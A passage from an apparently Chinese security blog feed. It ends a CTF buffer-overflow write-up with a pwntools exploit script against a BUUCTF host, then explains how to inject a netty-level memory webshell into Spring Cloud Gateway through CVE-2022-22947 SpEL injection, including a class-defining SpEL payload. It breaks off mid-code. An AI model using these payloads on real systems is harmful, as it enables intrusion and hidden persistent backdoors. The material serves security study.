Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2</span></p><span leaf="">修改后，确实可以走到目标逻辑。</span></div><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span leaf="">b gets</span><span leaf="">finish</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">set</span></span><span leaf=""> *(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">float</span></span><span leaf=""> *)(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">$rsp</span></span><span leaf=""> - 0x4) = 11.28125</span></p></pre><div style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 1.5em 8px;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: 14px;letter-spacing: 0.1em;color: rgb(63, 63, 63);"><span leaf="">计算下</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v1</span></p><span leaf="">到</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2</span></p><span leaf="">的偏移为 </span><strong style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-weight: bold;text-align: left;line-height: 1.75;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-size: inherit;color: rgb(159, 38, 56);"><span leaf="">offset = (rbp-0x4) - (rbp-0x30) = 44</span></strong><span leaf="">。同时注意写exploit时，要把</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">11.28125</span></p><span leaf="">转为</span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">float</span></p><span leaf="">类型对应的二进制表示，以便正确覆盖栈上的 </span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;text-align: left;line-height: 1.75;color: rgb(221, 17, 68);background: rgba(27, 31, 35, 0.05);padding: 3px 5px;border-radius: 4px;"><span leaf="">v2</span></p><span leaf="">。</span></div><pre style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#34;PingFang SC&#34;, Cambria, Cochin, Georgia, Times, &#34;Times New Roman&#34;, serif;font-feature-settings: normal;font-variation-settings: normal;font-size: 12.6px;margin: 10px 8px;background: rgb(35, 36, 31);color: rgb(248, 248, 242);text-align: left;line-height: 1.5;overflow-x: auto;border-radius: 8px;padding: 0px !important;"><span hidden="" style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);display: flex;padding: 10px 14px 0px;"><svg viewBox="0 0 450 130" height="13px" width="45px" y="0px" x="0px" version="1.1" xmlns="http://www.w3.org/2000/svg"><ellipse fill="rgb(237,108,96)" stroke-width="2" stroke="rgb(220,60,54)" ry="52" rx="50" cy="65" cx="50"></ellipse><ellipse fill="rgb(247,193,81)" stroke-width="2" stroke="rgb(218,151,33)" ry="52" rx="50" cy="65" cx="225"></ellipse><ellipse fill="rgb(100,200,86)" stroke-width="2" stroke="rgb(27,161,37)" ry="52" rx="50" cy="65" cx="400"></ellipse></svg></span><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);font-family: Menlo, &#34;Operator Mono&#34;, Consolas, Monaco, monospace;font-feature-settings: normal;font-variation-settings: normal;font-size: 11.34px;display: -webkit-box;padding: 0.5em 1em 1em;overflow-x: auto;text-indent: 0px;text-align: left;line-height: 1.75;margin: 0px;white-space: nowrap;"><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">from</span></span><span leaf=""> pwn </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> *</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(249, 38, 114);"><span leaf="">import</span></span><span leaf=""> struct</span><span leaf="">v2_value = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">11.28125</span></span><span leaf="">offset = </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">44</span></span><span leaf="">payload = offset * </span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">b&#39;A&#39;</span></span><span leaf=""> + struct.pack(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;&lt;f&#39;</span></span><span leaf="">,v2_value)</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(117, 113, 94);"><span leaf="">#p = process(&#34;./ciscn_2019_n_11&#34;)</span></span><span leaf="">p = remote(</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(230, 219, 116);"><span leaf="">&#39;node5.buuoj.cn&#39;</span></span><span leaf="">,</span><span style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);color: rgb(174, 129, 255);"><span leaf="">27324</span></span><span leaf="">)</span><span leaf="">p.sendline(payload)</span><span leaf="">p.interactive()</span></p></pre><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.2069767441860465" data-s="300,640" data-type="png" data-w="860" style="height: auto !important;" type="block" data-imgfileid="100000702" src="https://wechat2rss.xlab.app/img-proxy/?k=4bb3bbb8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7214KYunuDCMDcoSSIOrB2C7ibDKiceM8xIkos74bs445hY1PA9TZucAw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p></div><p style="box-sizing: border-box;border-width: 0px;border-style: solid;border-color: rgb(229, 229, 229);margin: 0px;color: rgb(10, 10, 10);font-family: ui-sans-serif, system-ui, sans-serif, &#34;Apple Color Emoji&#34;, &#34;Segoe UI Emoji&#34;, &#34;Segoe UI Symbol&#34;, &#34;Noto Color Emoji&#34;;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-size: 0px;line-height: 0;"><span leaf=""> </span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=06a1405a&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7tRRfu7tA4b35j9OyoHjWicjxKA1Zia3jMj3qicINq65v2G4qIYNhddtZQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=a3766b02&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC79ibfmRwLwGxuTQ7wgcia8wRqOLY0Ocy9tfMeoAxQTwtqtWN8iaSMw0ZQA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=776141fe&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7U4sib5dIcVkXrsHjuFTwq06BdyZibTdPeoslOwMNknulxepdUa9Ll1kw%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=3595754b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7ib97RzohTibhCwGNL72V9yXunIibBLySib9bleicQKv8CDUcGlVdJAbCgqg%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=40626c89&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7iaiaqUoMRmKskrkAF6zV6zqp07j8V10zf9PGMnPzHzkwdlFSxFq4REuQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7d120faa&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7OUEJ2JYx3S4jZxcRLyGnXXCuKFicxH3R2oiaU4ABbydMMSG1Gfn4CmoQ%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=b2269880&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7f4S53mWMYXL3kHz5YMcpUdMnWYauRX2xoq6vNPQ0r8P1ZLQ54KxlkA%2F640%3Fwx_fmt%3Dpng"/></p>
<p><img src="https://wechat2rss.xlab.app/img-proxy/?k=c9e5c272&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F075AT6bRmPcpXxGtJ5KE20dvYicEntibC7214KYunuDCMDcoSSIOrB2C7ibDKiceM8xIkos74bs445hY1PA9TZucAw%2F640%3Fwx_fmt%3Dpng"/></p>



<p><a href="2247484362">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=60b92086&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484362%26idx%3D1%26sn%3Dd8750d5f5c62412a52e43da95e3b51f3">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 03 Jun 2025 09:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Spring cloud gateway通过SPEL注入内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484259&amp;idx=1&amp;sn=2f132a952ec5e30ecefc9d3acef3cac5</link>
      <description>spring cloud gateway内存马的构造思路</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2022-03-09 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>spring cloud gateway内存马的构造思路</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=c37c9825&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPfKf2DibbXNQuiaibh6Mtsgod4vc9CIiaeEk0xMA88Lia7gKIddDmmKsl0d7SuZluOllkp4O5jibcQqXbvg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;"> 0x00 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;">背景</span></strong></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 18px;"><br/></span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">最进小火的漏洞</span><span style="font-size: 14px;color: rgb(217, 33, 66);">CVE-2022-22947</span><span style="font-size: 14px;">虽然原理简单，但是实战利用还是有点小麻烦。目前公开的利用是每执行一条命令就得注册一条路由，refresh一下网关，最后在访问这个路由。先不说步骤较多，就是频繁刷新会影响业务。实战当中注入一个内存马才是硬道理！</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">spring cloud gateway的web服务是netty+spring构建的，netty的web服务没有遵循servlet规范来设计。这也导致了构造它的内存马，与常规中间件有所不同，从某种程度来讲是这是一种新类型的内存马。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">下面以vulhub中的</span><span style="font-size: 14px;color: rgb(217, 33, 66);">spring cloud gateway 3.1.0</span><span style="font-size: 14px;">作为环境，来分享下构造netty层和spring层的内存马，其他版本思路相同。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x01 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;">高可用Payload</span></strong></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;"><br/></span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">Spring cloud gateway对payload的稳定性要求比较高，一旦报错是由可能会影响业务的。所以在开始之前，我们需要先构造一个&#34;优质&#34;的SPEL执行java字节码的payload。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">我主要对payload进行了如下的优化：</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">1. 解决BCEL/js引擎兼容性问题</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">2. 解决base64在不同版本jdk的兼容问题</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">3. 可多次运行同类名字节码</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">4. 解决可能导致的ClassNotFound问题</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;">#{T(org.springframework.cglib.core.ReflectUtils).defineClass(<span style="color: #a6e22e;line-height: 26px;">&#39;Memshell&#39;</span>,T(org.springframework.util.Base64Utils).decodeFromString(<span style="color: #a6e22e;line-height: 26px;">&#39;yv66vgAAA....&#39;</span>),<span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> javax.management.loading.MLet(<span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> java.net.URL[<span style="line-height: 26px;">0</span>],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}<br/></code></pre></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><br/></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;"> 0x02 </span></strong></span></section><section style="text-align: center;margin-left: 8px;margin-right: 8px;"><strong><span style="font-size: 18px;">netty层内存马</span></strong></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">netty处理http请求是构建一条责任链pipline,http请求会被链上的handler会依次来处理。所以我们的内存马其实就是一个handler。</span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;"><br/></span></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">不像常规的中间件，</span><span style="font-size: 14px;color: rgb(217, 33, 66);">filter/servlet/listener</span><span style="font-size: 14px;">组件有一个统一的维护对象。netty每一个请求过来，都是动态构造pipeline，pipeline上的handler都是在这个时候new的。负责给pipeline添加handler是</span><span style="font-size: 14px;color: rgb(217, 33, 66);">ChannelPipelineConfigurer</span><span style="font-size: 14px;">(下面简称为configurer)，<strong>因此注入netty内存马的关键是分析</strong></span><span style="font-size: 14px;color: rgb(217, 33, 66);"><strong>configurer</strong></span><span style="font-size: 14px;"><strong>如何被netty管理和工作的。</strong></span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;color: rgb(217, 33, 66);">CompositeChannelPipelineConfigurer</span><span style="font-size: 14px;color: rgb(0, 82, 255);">#</span><span style="font-size: 14px;color: rgb(217, 33, 66);">compositeChannelPipelineConfigurer</span><span style="font-size: 14px;">是为pipeline选择configurer的关键逻辑。第一个参数是Spring cloud gateway默认的configurer，第二个是用户额外配置的。一般情况下第一个参数是不为空配置，第二个参数为空配置，所以返回的configurer是Spring cloud gateway默认的。</span></section><section style="margin-left: 8px;margin-right: 8px;"><br/></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;">如果我们能够设置第二个other参数不为空配置呢？那么这两个configurer将被合并为一个新</span><span style="font-size: 14px;color: rgb(217, 33, 66);">CompositeChannelPipelineConfigurer</span><span style="font-size: 14px;">。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #75715e;line-height: 26px;">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer#compositeChannelPipelineConfigurer</span><br/><span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">static</span> ChannelPipelineConfigurer <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">compositeChannelPipelineConfigurer</span><span style="line-height: 26px;">(ChannelPipelineConfigurer configurer, ChannelPipelineConfigurer other)</span> </span>{<br/>    <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (configurer == ChannelPipelineConfigurer.emptyConfigurer()) { <span style="color: #75715e;line-height: 26px;">// 默认configurer是无操作空配置</span><br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> other;<br/>    } <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (other == ChannelPipelineConfigurer.emptyConfigurer()) { <span style="color: #75715e;line-height: 26px;">// 其他额外configurer是无操作空配置</span><br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> configurer;<br/>    } <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span> {<br/>        ......<br/>        ChannelPipelineConfigurer[] newConfigurers = <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> ChannelPipelineConfigurer[length];<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">int</span> pos;<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (thizConfigurers != <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>) {<br/>            pos = thizConfigurers.length;<br/>            System.arraycopy(thizConfigurers, <span style="line-height: 26px;">0</span>, newConfigurers, <span style="line-height: 26px;">0</span>, pos);<br/>        } <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span> {<br/>            pos = <span style="line-height: 26px;">1</span>;<br/>            newConfigurers[<span style="line-height: 26px;">0</span>] = configurer;  <span style="color: #75715e;line-height: 26px;">// 将默认configurer存储到新configurer</span><br/>        }<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">if</span> (otherConfigurers != <span style="color: #f92672;font-weight: bold;line-height: 26px;">null</span>) {<br/>            System.arraycopy(otherConfigurers, <span style="line-height: 26px;">0</span>, newConfigurers, pos, otherConfigurers.length);<br/>        } <span style="color: #f92672;font-weight: bold;line-height: 26px;">else</span> {<br/>            newConfigurers[pos] = other; <span style="color: #75715e;line-height: 26px;">// 将其他额外configurer存储到新configurer</span><br/>        }<br/>        <span style="color: #75715e;line-height: 26px;">// 合并成新的configurer</span><br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">return</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">new</span> ReactorNetty.CompositeChannelPipelineConfigurer(newConfigurers);<br/>    }<br/>}<br/></code></pre></section><section style="margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;color: rgb(217, 33, 66);">CompositeChannelPipelineConfigurer</span><span style="font-size: 14px;">会循环调用所有合并进来</span><span style="font-size: 14px;color: rgb(217, 33, 66);">configurer</span><span style="font-size: 14px;">来对</span><span style="font-size: 14px;color: rgb(217, 33, 66);">pipeline</span><span style="font-size: 14px;">添加</span><span style="font-size: 14px;color: rgb(217, 33, 66);">handler</span><span style="font-size: 14px;">。</span></section><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="font-size: 16px;color: black;padding-right: 10px;padding-left: 10px;line-height: 1.6;letter-spacing: 0px;word-break: break-word;overflow-wrap: break-word;text-align: left;font-family: Roboto, Oxygen, Ubuntu, Cantarell, PingFangSC-light, PingFangTC-light, &#34;Open Sans&#34;, &#34;Helvetica Neue&#34;, sans-serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbP8BZCny2872HicwUaN9KcicYWUrib2G7hX8gBVmAM80nktibtsJkr6Pl9zSHoERn0Z1BSMvlQtLof3pXKpwXD98xsM/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(39, 40, 34);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #272822;border-radius: 5px;"><span style="color: #75715e;line-height: 26px;">// reactor.netty.ReactorNetty.CompositeChannelPipelineConfigurer</span><br/><span style="color: #f92672;font-weight: bold;line-height: 26px;">static</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">final</span> <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">class</span> <span style="font-weight: bold;color: white;line-height: 26px;">CompositeChannelPipelineConfigurer</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">implements</span> <span style="font-weight: bold;color: white;line-height: 26px;">ChannelPipelineConfigurer</span> </span>{<br/>    <span style="color: #f92672;font-weight: bold;line-height: 26px;">final</span> ChannelPipelineConfigurer[] configurers;<br/>    CompositeChannelPipelineConfigurer(ChannelPipelineConfigurer[] configurers) {<br/>        <span style="color: #f92672;font-weight: bold;line-height: 26px;">this</span>.configurers = configurers;<br/>    }<br/>    <span style="line-height: 26px;"><span style="color: #f92672;font-weight: bold;line-height: 26px;">public</span> <span style="color: #f92672;font-weight: bold;line-height: 26px;">void</span> <span style="color: #a6e22e;font-weight: bold;line-height: 26px;">onChannelInit</span><span style="line-height: 26px;">(ConnectionObserver connectionObserver, Channel channel, @Nullable SocketAddress remoteAddress)</span> </span>{<br/>        ChannelPipelineConfigurer[] var4 = <span 